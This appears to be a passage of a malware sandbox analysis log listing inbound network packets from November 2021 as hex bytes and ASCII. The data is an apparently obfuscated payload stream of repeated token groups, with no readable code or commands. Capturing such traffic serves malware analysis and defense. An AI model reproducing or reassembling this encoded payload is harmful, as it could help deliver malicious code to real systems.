2021-11-09 21:21:49 UTC	1145	IN	Data Raw: 20 4f 78 45 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 74 6f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 51 74 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 51 78 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 4b 51 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 51 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 74 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 51 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4b 6b 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 6f 20 78 20 52 59 20 78 20 74 6f 20 78 20 74 74 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 Data Ascii: OxE x RY x OxE x RY x to x kO x RY x Qt x RY x RR x Oxk x RY x Rt x RY x RY x Qx x OxE x RR x KQ x RY x tO x OOQ x RY x Qk x RY x RY x OxE x RY x to x RY x RY x kQ x kO x RR x Kk x RY x tO x OxE x RY x tE x RY x RR x OOo x RY x to x tt x RY x tE x RY x R
2021-11-09 21:21:49 UTC	1149	IN	Data Raw: 59 20 78 20 74 4f 20 78 20 59 52 20 78 20 52 59 20 78 20 51 78 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 6b 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 4f 78 4b 20 78 20 6b 59 20 78 20 74 59 20 78 20 74 74 20 78 20 52 59 20 78 20 4f 6f 4f 20 78 20 6b 4f 20 78 20 52 74 20 78 20 4b 6b 20 78 20 52 59 20 78 20 74 52 20 78 20 6b 51 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 51 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 78 20 78 20 Data Ascii: Y x tO x YR x RY x Qx x RY x RR x Oxk x RY x Rk x OOO x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x OOQ x RY x OxK x kY x tY x tt x RY x OoO x kO x Rt x Kk x RY x tR x kQ x RY x RR x OOQ x kO x RY x RY x kx x
2021-11-09 21:21:49 UTC	1153	IN	Data Raw: 20 52 59 20 78 20 51 6b 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 4f 74 20 78 20 52 59 20 78 20 74 4f 20 78 20 4b 6b 20 78 20 52 59 20 78 20 51 78 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 4f 74 20 78 20 52 59 20 78 20 74 6f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 4b 20 78 20 52 59 20 78 20 74 6f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 51 51 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 4f 4f 6f 20 78 20 52 59 20 78 20 74 4f 20 78 20 59 6f 20 78 20 52 59 20 78 20 51 78 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 6f 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 Data Ascii: RY x Qk x OOQ x RR x OOt x RY x tO x Kk x RY x Qx x kO x RR x OOt x RY x to x kO x RY x tE x RY x RR x kK x RY x to x kO x RY x QQ x OxE x RR x OOo x RY x tO x Yo x RY x Qx x OOQ x RR x Ooo x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY
2021-11-09 21:21:49 UTC	1157	IN	Data Raw: 4f 20 78 20 59 52 20 78 20 52 59 20 78 20 51 6b 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 6f 6f 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 59 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 4f 20 78 20 52 59 20 78 20 74 6f 20 78 20 74 45 20 78 20 52 59 20 78 20 51 6b 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 78 52 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 59 20 78 20 52 59 20 78 20 51 51 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 6f 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 52 59 20 78 20 52 74 20 78 20 6b 4f 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 4b 20 78 20 6b 4f 20 78 20 52 52 20 78 20 6b 4b 20 78 20 52 59 20 78 20 52 74 20 78 20 52 59 20 78 20 Data Ascii: O x YR x RY x Qk x OOQ x RR x Ooo x RY x tO x kY x RY x tE x RY x RR x kO x RY x to x tE x RY x Qk x OOQ x RR x OxR x RY x tO x kY x RY x QQ x OOQ x RR x Ooo x RY x RY x RY x RY x Rt x RY x Rt x kO x RY x kO x RY x RR x kK x kO x RR x kK x RY x Rt x RY x
2021-11-09 21:21:49 UTC	1160	IN	Data Raw: 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 4f 78 6f 20 78 20 52 59 20 78 20 74 78 20 78 20 52 51 20 78 20 52 59 20 78 20 74 74 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 74 51 20 78 20 52 59 20 78 20 74 51 20 78 20 59 52 20 78 20 52 6b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 6b 51 20 78 20 52 59 20 78 20 6b 45 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 6f 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 51 78 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 Data Ascii: x RY x RY x RY x Rt x Oxo x RY x tx x RQ x RY x tt x OxE x RY x tQ x RY x tQ x YR x Rk x Kt x Kt x KE x RY x RY x Rt x kQ x RY x kE x RY x RR x OOo x RY x tO x kO x RY x Qx x kO x RY x RY x RY x RY x RY x RY x RY x RY x RY x RR x kY x RY x RY x RY x RY x
2021-11-09 21:21:49 UTC	1165	IN	Data Raw: 20 74 6f 20 78 20 74 45 20 78 20 52 59 20 78 20 51 78 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 78 4b 20 78 20 52 59 20 78 20 74 6f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 51 78 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 51 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 59 45 20 78 20 52 59 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 78 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 6f 6f 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 51 6b 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 4f 4f 78 20 78 20 52 59 20 78 20 52 52 20 78 20 74 74 20 78 20 52 59 20 78 20 6b 59 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 74 4f 20 78 Data Ascii: to x tE x RY x Qx x kO x RR x OxK x RY x to x kO x RY x Qx x kO x RR x Oxt x RY x Rt x RY x RY x kQ x OxE x RR x YE x RY x Rt x RY x RY x Oxx x kO x RR x Ooo x RY x tO x Oxt x RY x Qk x OxE x RR x OOx x RY x RR x tt x RY x kY x OOQ x RR x Oxk x RY x tO x
2021-11-09 21:21:49 UTC	1169	IN	Data Raw: 78 20 52 59 20 78 20 74 4f 20 78 20 6b 59 20 78 20 52 59 20 78 20 51 78 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 52 51 20 78 20 52 59 20 78 20 6b 4f 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 52 20 78 20 74 78 20 78 20 52 59 20 78 20 74 6f 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 51 51 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 59 20 78 20 52 59 20 78 20 74 4f 20 78 20 Data Ascii: x RY x tO x kY x RY x Qx x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RR x RQ x RY x kO x kO x RR x Oxt x RY x tO x kO x RY x tE x RY x RR x tx x RY x to x OxE x RY x QQ x RY x RR x OOY x RY x tO x
2021-11-09 21:21:49 UTC	1173	IN	Data Raw: 78 20 4f 78 45 20 78 20 52 52 20 78 20 4f 4f 6b 20 78 20 52 59 20 78 20 74 6f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 51 74 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 74 6f 20 78 20 74 45 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 59 20 78 20 52 59 20 78 20 74 4f 20 78 20 59 52 20 78 20 52 59 20 78 20 51 78 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 4f 78 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 59 20 78 20 52 59 20 78 20 51 78 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 52 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 51 6b 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 74 6f 20 78 20 6b 59 20 78 20 52 59 20 78 20 51 51 20 78 20 4f 4f 51 Data Ascii: x OxE x RR x OOk x RY x to x kO x RY x Qt x RY x RR x Oxk x RY x to x tE x RY x tE x RY x RR x OOY x RY x tO x YR x RY x Qx x OOQ x RR x OOx x RY x tO x kY x RY x Qx x RY x RY x OOR x RY x tO x Oxt x RY x Qk x OxE x RY x OxE x RY x to x kY x RY x QQ x OOQ
2021-11-09 21:21:49 UTC	1177	IN	Data Raw: 4f 4f 51 20 78 20 52 52 20 78 20 59 4f 20 78 20 52 59 20 78 20 74 6f 20 78 20 74 74 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 52 20 78 20 74 51 20 78 20 52 59 20 78 20 74 78 20 78 20 6b 4f 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 59 20 78 20 4b 6b 20 78 20 52 59 20 78 20 52 74 20 78 20 59 6f 20 78 20 52 59 20 78 20 74 74 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 74 78 20 78 20 74 74 20 78 20 52 59 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4b 51 20 78 20 52 59 20 78 20 74 78 20 78 20 52 52 20 78 20 52 52 20 78 20 52 6b 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 6b 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 51 6b 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 4f Data Ascii: OOQ x RR x YO x RY x to x tt x RY x tE x RY x RR x tQ x RY x tx x kO x RY x tE x RY x RY x Kk x RY x Rt x Yo x RY x tt x RY x RY x OxE x RY x tx x tt x RY x kY x RY x RY x KQ x RY x tx x RR x RR x Rk x RY x RR x kk x RY x tO x Oxt x RY x Qk x OxE x RR x O
2021-11-09 21:21:49 UTC	1181	IN	Data Raw: 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 51 20 78 20 59 6f 20 78 20 52 59 20 78 20 6b 51 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 4f 52 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 52 20 78 20 52 59 20 78 20 52 51 20 78 20 74 74 20 78 20 52 59 20 78 20 6b 45 20 78 20 74 4b 20 78 20 4f 4f 51 20 78 20 52 59 20 78 Data Ascii: x RY x OxE x RY x RQ x Yo x RY x kQ x kO x RR x OOR x RY x tO x kY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x tR x RY x RQ x tt x RY x kE x tK x OOQ x RY x
2021-11-09 21:21:49 UTC	1185	IN	Data Raw: 4f 78 6b 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 6b 59 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 4b 51 20 78 20 52 59 20 78 20 74 4f 20 78 20 59 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 52 74 20 78 20 74 45 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 52 20 78 20 74 74 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 59 20 78 20 52 59 20 78 20 51 78 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 78 4b 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 6b 4f 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 4f 6b 20 78 20 52 59 20 78 20 74 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 4f 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 6f 4f 20 78 20 Data Ascii: Oxk x RY x tO x kO x RY x kY x OxE x RR x KQ x RY x tO x Yo x RY x RY x RY x RR x OOO x RY x Rt x tE x RY x RY x kO x RR x tt x RY x tO x kY x RY x Qx x OOQ x RR x OxK x RY x tO x OOQ x RY x kO x OOQ x RR x OOk x RY x to x RY x RY x OxO x kO x RR x OoO x
2021-11-09 21:21:49 UTC	1189	IN	Data Raw: 52 20 78 20 4f 6f 6f 20 78 20 51 51 20 78 20 59 78 20 78 20 59 74 20 78 20 4f 6f 4f 20 78 20 6b 4f 20 78 20 6b 6b 20 78 20 74 4b 20 78 20 4f 78 52 20 78 20 51 74 20 78 20 74 4f 20 78 20 4f 78 6b 20 78 20 4b 6b 20 78 20 51 78 20 78 20 6b 74 20 78 20 74 6b 20 78 20 4b 6b 20 78 20 4f 78 78 20 78 20 6b 6b 20 78 20 74 4b 20 78 20 4f 78 6b 20 78 20 6b 78 20 78 20 6b 45 20 78 20 74 4b 20 78 20 6b 51 20 78 20 74 51 20 78 20 52 6b 20 78 20 6b 51 20 78 20 4f 78 59 20 78 20 74 45 20 78 20 74 6f 20 78 20 52 52 20 78 20 4b 51 20 78 20 6b 51 20 78 20 4f 78 51 20 78 20 4f 6f 78 20 78 20 4f 4f 6f 20 78 20 6b 51 20 78 20 4b 6b 20 78 20 4f 4f 52 20 78 20 4f 78 6b 20 78 20 4f 78 4f 20 78 20 6b 52 20 78 20 6b 6f 20 78 20 4f 4f 6b 20 78 20 51 74 20 78 20 59 78 20 78 20 6b 52 Data Ascii: R x Ooo x QQ x Yx x Yt x OoO x kO x kk x tK x OxR x Qt x tO x Oxk x Kk x Qx x kt x tk x Kk x Oxx x kk x tK x Oxk x kx x kE x tK x kQ x tQ x Rk x kQ x OxY x tE x to x RR x KQ x kQ x OxQ x Oox x OOo x kQ x Kk x OOR x Oxk x OxO x kR x ko x OOk x Qt x Yx x kR
2021-11-09 21:21:49 UTC	1192	IN	Data Raw: 20 78 20 6b 59 20 78 20 59 6f 20 78 20 74 52 20 78 20 6b 74 20 78 20 74 45 20 78 20 59 45 20 78 20 6b 51 20 78 20 6b 4b 20 78 20 6b 59 20 78 20 4f 4f 52 20 78 20 74 6b 20 78 20 52 6b 20 78 20 4f 78 4b 20 78 20 4f 78 51 20 78 20 51 78 20 78 20 52 6b 20 78 20 6b 59 20 78 20 4f 4f 51 20 78 20 6b 51 20 78 20 6b 4b 20 78 20 52 51 20 78 20 4b 51 20 78 20 6b 51 20 78 20 6b 4b 20 78 20 4f 78 6b 20 78 20 4f 78 4b 20 78 20 4f 78 6f 20 78 20 6b 45 20 78 20 74 45 20 78 20 4b 45 20 78 20 6b 78 20 78 20 52 74 20 78 20 59 74 20 78 20 4f 6f 6f 20 78 20 4f 78 78 20 78 20 6b 6b 20 78 20 52 52 20 78 20 4f 4f 51 20 78 20 51 6b 20 78 20 59 4f 20 78 20 74 4b 20 78 20 4b 6b 20 78 20 51 78 20 78 20 6b 74 20 78 20 6b 6f 20 78 20 6b 78 20 78 20 6b 59 20 78 20 4f 6f 6f 20 78 20 59 Data Ascii: x kY x Yo x tR x kt x tE x YE x kQ x kK x kY x OOR x tk x Rk x OxK x OxQ x Qx x Rk x kY x OOQ x kQ x kK x RQ x KQ x kQ x kK x Oxk x OxK x Oxo x kE x tE x KE x kx x Rt x Yt x Ooo x Oxx x kk x RR x OOQ x Qk x YO x tK x Kk x Qx x kt x ko x kx x kY x Ooo x Y
2021-11-09 21:21:49 UTC	1197	IN	Data Raw: 78 20 78 20 52 51 20 78 20 6b 6f 20 78 20 52 51 20 78 20 4f 78 6b 20 78 20 74 51 20 78 20 6b 6f 20 78 20 4b 51 20 78 20 52 52 20 78 20 52 52 20 78 20 6b 6f 20 78 20 52 51 20 78 20 6b 6f 20 78 20 74 4b 20 78 20 6b 4b 20 78 20 4f 78 74 20 78 20 4f 78 78 20 78 20 6b 51 20 78 20 6b 74 20 78 20 74 78 20 78 20 52 52 20 78 20 52 52 20 78 20 6b 6f 20 78 20 52 51 20 78 20 6b 6f 20 78 20 74 4b 20 78 20 6b 4b 20 78 20 4f 78 74 20 78 20 4f 78 78 20 78 20 6b 4f 20 78 20 6b 4f 20 78 20 6b 59 20 78 20 6b 6f 20 78 20 52 51 20 78 20 6b 45 20 78 20 6b 59 20 78 20 59 45 20 78 20 74 6f 20 78 20 6b 74 20 78 20 74 78 20 78 20 4f 78 4b 20 78 20 6b 4f 20 78 20 6b 4f 20 78 20 6b 59 20 78 20 6b 6f 20 78 20 52 51 20 78 20 6b 45 20 78 20 6b 59 20 78 20 59 45 20 78 20 74 6f 20 78 20 Data Ascii: x x RQ x ko x RQ x Oxk x tQ x ko x KQ x RR x RR x ko x RQ x ko x tK x kK x Oxt x Oxx x kQ x kt x tx x RR x RR x ko x RQ x ko x tK x kK x Oxt x Oxx x kO x kO x kY x ko x RQ x kE x kY x YE x to x kt x tx x OxK x kO x kO x kY x ko x RQ x kE x kY x YE x to x
2021-11-09 21:21:49 UTC	1201	IN	Data Raw: 78 20 52 74 20 78 20 59 78 20 78 20 52 74 20 78 20 59 59 20 78 20 74 52 20 78 20 52 52 20 78 20 4b 51 20 78 20 6b 6f 20 78 20 52 74 20 78 20 4f 78 52 20 78 20 74 4f 20 78 20 59 4f 20 78 20 4f 78 51 20 78 20 74 6b 20 78 20 4f 78 51 20 78 20 4f 4f 51 20 78 20 4b 45 20 78 20 4f 4f 6f 20 78 20 4f 78 51 20 78 20 51 78 20 78 20 4b 51 20 78 20 74 52 20 78 20 4f 78 6b 20 78 20 74 6b 20 78 20 52 52 20 78 20 6b 59 20 78 20 6b 51 20 78 20 74 6f 20 78 20 51 51 20 78 20 4f 4f 6b 20 78 20 4b 6b 20 78 20 59 74 20 78 20 4f 78 51 20 78 20 4f 78 59 20 78 20 52 6b 20 78 20 4f 4f 6b 20 78 20 4f 78 78 20 78 20 4f 4f 74 20 78 20 59 4f 20 78 20 59 45 20 78 20 74 4b 20 78 20 4f 4f 4f 20 78 20 59 4b 20 78 20 6b 45 20 78 20 4f 4f 6f 20 78 20 4b 45 20 78 20 6b 4f 20 78 20 51 78 20 Data Ascii: x Rt x Yx x Rt x YY x tR x RR x KQ x ko x Rt x OxR x tO x YO x OxQ x tk x OxQ x OOQ x KE x OOo x OxQ x Qx x KQ x tR x Oxk x tk x RR x kY x kQ x to x QQ x OOk x Kk x Yt x OxQ x OxY x Rk x OOk x Oxx x OOt x YO x YE x tK x OOO x YK x kE x OOo x KE x kO x Qx
2021-11-09 21:21:49 UTC	1205	IN	Data Raw: 4f 20 78 20 52 59 20 78 20 4b 51 20 78 20 6b 59 20 78 20 4f 78 78 20 78 20 52 51 20 78 20 6b 4f 20 78 20 6b 4f 20 78 20 6b 6b 20 78 20 74 74 20 78 20 52 52 20 78 20 6b 74 20 78 20 52 52 20 78 20 52 51 20 78 20 59 4f 20 78 20 74 6b 20 78 20 4b 51 20 78 20 51 51 20 78 20 74 6f 20 78 20 52 52 20 78 20 4f 4f 6b 20 78 20 51 51 20 78 20 4f 4f 78 20 78 20 6b 6f 20 78 20 52 59 20 78 20 51 6b 20 78 20 4f 78 51 20 78 20 4f 78 6b 20 78 20 4f 6f 4f 20 78 20 51 51 20 78 20 59 78 20 78 20 59 74 20 78 20 4f 78 51 20 78 20 4f 78 78 20 78 20 52 74 20 78 20 59 45 20 78 20 4f 4f 74 20 78 20 51 78 20 78 20 6b 6b 20 78 20 6b 4f 20 78 20 4f 4f 51 20 78 20 52 6b 20 78 20 6b 4f 20 78 20 6b 51 20 78 20 74 4b 20 78 20 74 59 20 78 20 4f 4f 4f 20 78 20 51 78 20 78 20 74 45 20 78 20 Data Ascii: O x RY x KQ x kY x Oxx x RQ x kO x kO x kk x tt x RR x kt x RR x RQ x YO x tk x KQ x QQ x to x RR x OOk x QQ x OOx x ko x RY x Qk x OxQ x Oxk x OoO x QQ x Yx x Yt x OxQ x Oxx x Rt x YE x OOt x Qx x kk x kO x OOQ x Rk x kO x kQ x tK x tY x OOO x Qx x tE x
2021-11-09 21:21:49 UTC	1209	IN	Data Raw: 78 20 78 20 59 78 20 78 20 59 52 20 78 20 4f 78 45 20 78 20 6b 4b 20 78 20 74 4f 20 78 20 4f 78 6b 20 78 20 4f 4f 52 20 78 20 51 74 20 78 20 6b 6b 20 78 20 6b 6f 20 78 20 4f 78 6b 20 78 20 51 78 20 78 20 52 6b 20 78 20 52 51 20 78 20 4f 78 74 20 78 20 74 74 20 78 20 52 74 20 78 20 74 45 20 78 20 74 4f 20 78 20 52 59 20 78 20 4b 51 20 78 20 6b 59 20 78 20 52 51 20 78 20 52 59 20 78 20 4f 6f 78 20 78 20 74 74 20 78 20 51 6b 20 78 20 6b 59 20 78 20 59 78 20 78 20 6b 52 20 78 20 4f 78 52 20 78 20 4f 78 78 20 78 20 74 4f 20 78 20 4f 78 6b 20 78 20 4f 4f 78 20 78 20 51 6b 20 78 20 4f 6f 4f 20 78 20 52 52 20 78 20 6b 45 20 78 20 6b 59 20 78 20 4b 6b 20 78 20 52 51 20 78 20 4f 78 45 20 78 20 6b 4f 20 78 20 59 78 20 78 20 59 74 20 78 20 4f 78 74 20 78 20 51 78 20 Data Ascii: x x Yx x YR x OxE x kK x tO x Oxk x OOR x Qt x kk x ko x Oxk x Qx x Rk x RQ x Oxt x tt x Rt x tE x tO x RY x KQ x kY x RQ x RY x Oox x tt x Qk x kY x Yx x kR x OxR x Oxx x tO x Oxk x OOx x Qk x OoO x RR x kE x kY x Kk x RQ x OxE x kO x Yx x Yt x Oxt x Qx
2021-11-09 21:21:49 UTC	1213	IN	Data Raw: 78 20 4b 74 20 78 20 52 52 20 78 20 4f 78 45 20 78 20 4f 78 45 20 78 20 4f 4f 4b 20 78 20 52 52 20 78 20 4f 78 45 20 78 20 52 51 20 78 20 74 78 20 78 20 52 52 20 78 20 6b 4f 20 78 20 51 51 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 4f 4f 4f 20 78 20 6b 51 20 78 20 4f 6f 6f 20 78 20 51 74 20 78 20 74 6f 20 78 20 6b 6f 20 78 20 4b 6b 20 78 20 51 51 20 78 20 52 6b 20 78 20 4f 4f 4f 20 78 20 4f 4f 6b 20 78 20 74 52 20 78 20 59 78 20 78 20 74 6b 20 78 20 4f 6f 4f 20 78 20 4f 78 78 20 78 20 52 74 20 78 20 59 45 20 78 20 4b 51 20 78 20 51 51 20 78 20 59 78 20 78 20 6b 52 20 78 20 4f 6f 4f 20 78 20 4f 78 78 20 78 20 74 6f 20 78 20 74 4b 20 78 20 4b 51 20 78 20 51 51 20 78 20 59 4f 20 78 20 6b 4f 20 78 20 4f 4f 74 20 78 20 6b 51 20 78 20 59 78 20 78 20 59 74 20 78 Data Ascii: x Kt x RR x OxE x OxE x OOK x RR x OxE x RQ x tx x RR x kO x QQ x OOQ x RY x OOO x kQ x Ooo x Qt x to x ko x Kk x QQ x Rk x OOO x OOk x tR x Yx x tk x OoO x Oxx x Rt x YE x KQ x QQ x Yx x kR x OoO x Oxx x to x tK x KQ x QQ x YO x kO x OOt x kQ x Yx x Yt x
2021-11-09 21:21:49 UTC	1224	IN	Data Raw: 20 52 51 20 78 20 6b 4f 20 78 20 74 74 20 78 20 52 59 20 78 20 59 6f 20 78 20 74 4f 20 78 20 52 59 20 78 20 4b 51 20 78 20 6b 59 20 78 20 52 51 20 78 20 52 52 20 78 20 4f 6f 78 20 78 20 74 74 20 78 20 74 6f 20 78 20 6b 59 20 78 20 59 78 20 78 20 74 78 20 78 20 4f 4f 59 20 78 20 51 78 20 78 20 4f 78 51 20 78 20 59 74 20 78 20 4f 6f 4f 20 78 20 51 78 20 78 20 52 6b 20 78 20 52 51 20 78 20 6b 51 20 78 20 74 74 20 78 20 52 52 20 78 20 6b 51 20 78 20 74 4f 20 78 20 52 59 20 78 20 4b 51 20 78 20 6b 59 20 78 20 52 51 20 78 20 52 74 20 78 20 4f 78 4b 20 78 20 74 74 20 78 20 6b 78 20 78 20 6b 59 20 78 20 59 78 20 78 20 6b 52 20 78 20 4f 78 52 20 78 20 4f 78 78 20 78 20 74 4f 20 78 20 4f 78 6b 20 78 20 4f 4f 78 20 78 20 51 6b 20 78 20 4f 6f 4f 20 78 20 52 52 20 78 Data Ascii: RQ x kO x tt x RY x Yo x tO x RY x KQ x kY x RQ x RR x Oox x tt x to x kY x Yx x tx x OOY x Qx x OxQ x Yt x OoO x Qx x Rk x RQ x kQ x tt x RR x kQ x tO x RY x KQ x kY x RQ x Rt x OxK x tt x kx x kY x Yx x kR x OxR x Oxx x tO x Oxk x OOx x Qk x OoO x RR x
2021-11-09 21:21:49 UTC	1229	IN	Data Raw: 20 78 20 4f 6f 78 20 78 20 4f 6f 78 20 78 20 6b 51 20 78 20 6b 6f 20 78 20 4f 4f 4b 20 78 20 4b 45 20 78 20 6b 78 20 78 20 6b 74 20 78 20 4f 4f 59 20 78 20 6b 52 20 78 20 52 52 20 78 20 4f 4f 78 20 78 20 51 74 20 78 20 51 51 20 78 20 6b 74 20 78 20 74 51 20 78 20 59 74 20 78 20 6b 6b 20 78 20 4f 4f 78 20 78 20 6b 4f 20 78 20 4f 4f 4b 20 78 20 4f 78 6f 20 78 20 4b 45 20 78 20 74 6f 20 78 20 4f 6f 6f 20 78 20 6b 78 20 78 20 4f 78 4b 20 78 20 4b 74 20 78 20 4f 4f 45 20 78 20 4f 4f 6b 20 78 20 4f 78 51 20 78 20 4f 78 59 20 78 20 59 59 20 78 20 6b 74 20 78 20 74 6f 20 78 20 59 6f 20 78 20 4f 6f 4f 20 78 20 74 45 20 78 20 4b 51 20 78 20 4f 4f 6f 20 78 20 59 78 20 78 20 4f 4f 4b 20 78 20 74 6f 20 78 20 4b 6b 20 78 20 6b 59 20 78 20 51 78 20 78 20 74 6f 20 78 20 Data Ascii: x Oox x Oox x kQ x ko x OOK x KE x kx x kt x OOY x kR x RR x OOx x Qt x QQ x kt x tQ x Yt x kk x OOx x kO x OOK x Oxo x KE x to x Ooo x kx 